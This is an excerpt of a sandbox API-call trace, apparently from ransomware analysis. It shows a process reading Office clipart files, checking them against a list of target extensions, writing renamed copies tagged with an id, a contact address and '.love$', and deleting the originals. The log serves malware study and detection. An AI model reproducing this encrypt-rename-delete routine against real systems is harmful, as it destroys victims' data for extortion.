[0243.248] lstrlenW (lpString=".doc") returned 4 [0243.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.248] lstrlenW (lpString=".docx") returned 5 [0243.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.248] lstrlenW (lpString=".pdf") returned 4 [0243.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.248] lstrlenW (lpString=".xls") returned 4 [0243.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.248] lstrlenW (lpString=".xlsx") returned 5 [0243.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.248] lstrlenW (lpString=".ppt") returned 4 [0243.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.248] lstrlenW (lpString=".zip") returned 4 [0243.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.248] lstrlenW (lpString=".rar") returned 4 [0243.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.249] lstrlenW (lpString=".bz2") returned 4 [0243.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.249] lstrlenW (lpString=".7z") returned 3 [0243.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.249] lstrlenW (lpString=".dbf") returned 4 [0243.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.249] lstrlenW (lpString=".1cd") returned 4 [0243.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0243.249] lstrlenW (lpString=".jpg") returned 4 [0243.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.249] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.249] lstrlenW (lpString="DD01168_.WMF") returned 12 [0243.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.250] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2004) returned 1 [0243.250] CloseHandle (hObject=0x4c8) returned 1 [0243.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0243.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.251] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.251] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0243.252] GetLastError () returned 0x0 [0243.252] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7d4, lpOverlapped=0x0) returned 1 [0243.254] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7e0, lpOverlapped=0x0) returned 1 [0243.255] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.255] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.255] SetEndOfFile (hFile=0x538) returned 1 [0243.255] CloseHandle (hObject=0x538) returned 1 [0243.255] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.255] SetEndOfFile (hFile=0x4c8) returned 1 [0243.258] CloseHandle (hObject=0x4c8) returned 1 [0243.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0243.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.260] lstrlenW (lpString=".doc") returned 4 [0243.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.260] lstrlenW (lpString=".docx") returned 5 [0243.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.260] lstrlenW (lpString=".pdf") returned 4 [0243.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.260] lstrlenW (lpString=".xls") returned 4 [0243.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.260] lstrlenW (lpString=".xlsx") returned 5 [0243.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.260] lstrlenW (lpString=".ppt") returned 4 [0243.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.260] lstrlenW (lpString=".zip") returned 4 [0243.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.260] lstrlenW (lpString=".rar") returned 4 [0243.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString=".bz2") returned 4 [0243.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString=".7z") returned 3 [0243.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.261] lstrlenW (lpString=".dbf") returned 4 [0243.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.261] lstrlenW (lpString=".1cd") returned 4 [0243.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.261] lstrlenW (lpString=".jpg") returned 4 [0243.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.272] lstrlenW (lpString=".doc") returned 4 [0243.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.272] lstrlenW (lpString=".docx") returned 5 [0243.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.272] lstrlenW (lpString=".pdf") returned 4 [0243.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.272] lstrlenW (lpString=".xls") returned 4 [0243.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.272] lstrlenW (lpString=".xlsx") returned 5 [0243.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.272] lstrlenW (lpString=".ppt") returned 4 [0243.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.272] lstrlenW (lpString=".zip") returned 4 [0243.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.273] lstrlenW (lpString=".rar") returned 4 [0243.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.273] lstrlenW (lpString=".bz2") returned 4 [0243.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.273] lstrlenW (lpString=".7z") returned 3 [0243.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.273] lstrlenW (lpString=".dbf") returned 4 [0243.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.273] lstrlenW (lpString=".1cd") returned 4 [0243.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0243.273] lstrlenW (lpString=".jpg") returned 4 [0243.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.273] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.274] lstrlenW (lpString="DD01169_.WMF") returned 12 [0243.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.275] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2020) returned 1 [0243.275] CloseHandle (hObject=0x4c8) returned 1 [0243.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0243.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.276] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.276] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0243.277] GetLastError () returned 0x0 [0243.277] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0243.282] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0243.283] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.284] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.284] SetEndOfFile (hFile=0x538) returned 1 [0243.284] CloseHandle (hObject=0x538) returned 1 [0243.284] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.284] SetEndOfFile (hFile=0x4c8) returned 1 [0243.287] CloseHandle (hObject=0x4c8) returned 1 [0243.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0243.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.289] lstrlenW (lpString=".doc") returned 4 [0243.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.289] lstrlenW (lpString=".docx") returned 5 [0243.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.289] lstrlenW (lpString=".pdf") returned 4 [0243.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.289] lstrlenW (lpString=".xls") returned 4 [0243.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.289] lstrlenW (lpString=".xlsx") returned 5 [0243.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.289] lstrlenW (lpString=".ppt") returned 4 [0243.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.290] lstrlenW (lpString=".zip") returned 4 [0243.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.290] lstrlenW (lpString=".rar") returned 4 [0243.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.290] lstrlenW (lpString=".bz2") returned 4 [0243.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.290] lstrlenW (lpString=".7z") returned 3 [0243.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.290] lstrlenW (lpString=".dbf") returned 4 [0243.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.290] lstrlenW (lpString=".1cd") returned 4 [0243.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.290] lstrlenW (lpString=".jpg") returned 4 [0243.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.290] lstrlenW (lpString=".doc") returned 4 [0243.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.290] lstrlenW (lpString=".docx") returned 5 [0243.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.290] lstrlenW (lpString=".pdf") returned 4 [0243.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.290] lstrlenW (lpString=".xls") returned 4 [0243.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.291] lstrlenW (lpString=".xlsx") returned 5 [0243.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.291] lstrlenW (lpString=".ppt") returned 4 [0243.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.291] lstrlenW (lpString=".zip") returned 4 [0243.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.291] lstrlenW (lpString=".rar") returned 4 [0243.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString=".bz2") returned 4 [0243.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString=".7z") returned 3 [0243.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.291] lstrlenW (lpString=".dbf") returned 4 [0243.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.291] lstrlenW (lpString=".1cd") returned 4 [0243.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0243.291] lstrlenW (lpString=".jpg") returned 4 [0243.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.292] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.292] lstrlenW (lpString="DD01170_.WMF") returned 12 [0243.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.446] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2404) returned 1 [0243.446] CloseHandle (hObject=0x4c8) returned 1 [0243.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0243.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.447] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.462] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.663] GetLastError () returned 0x0 [0243.663] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x964, lpOverlapped=0x0) returned 1 [0243.665] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x970, lpOverlapped=0x0) returned 1 [0243.666] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.666] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.666] SetEndOfFile (hFile=0x544) returned 1 [0243.666] CloseHandle (hObject=0x544) returned 1 [0243.667] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.667] SetEndOfFile (hFile=0x4c8) returned 1 [0243.672] CloseHandle (hObject=0x4c8) returned 1 [0243.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0243.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.674] lstrlenW (lpString=".doc") returned 4 [0243.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.674] lstrlenW (lpString=".docx") returned 5 [0243.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.674] lstrlenW (lpString=".pdf") returned 4 [0243.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.674] lstrlenW (lpString=".xls") returned 4 [0243.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.674] lstrlenW (lpString=".xlsx") returned 5 [0243.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.674] lstrlenW (lpString=".ppt") returned 4 [0243.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.674] lstrlenW (lpString=".zip") returned 4 [0243.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.674] lstrlenW (lpString=".rar") returned 4 [0243.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.674] lstrlenW (lpString=".bz2") returned 4 [0243.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.674] lstrlenW (lpString=".7z") returned 3 [0243.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.675] lstrlenW (lpString=".dbf") returned 4 [0243.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.675] lstrlenW (lpString=".1cd") returned 4 [0243.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.675] lstrlenW (lpString=".jpg") returned 4 [0243.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.675] lstrlenW (lpString=".doc") returned 4 [0243.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.675] lstrlenW (lpString=".docx") returned 5 [0243.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.675] lstrlenW (lpString=".pdf") returned 4 [0243.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.675] lstrlenW (lpString=".xls") returned 4 [0243.675] 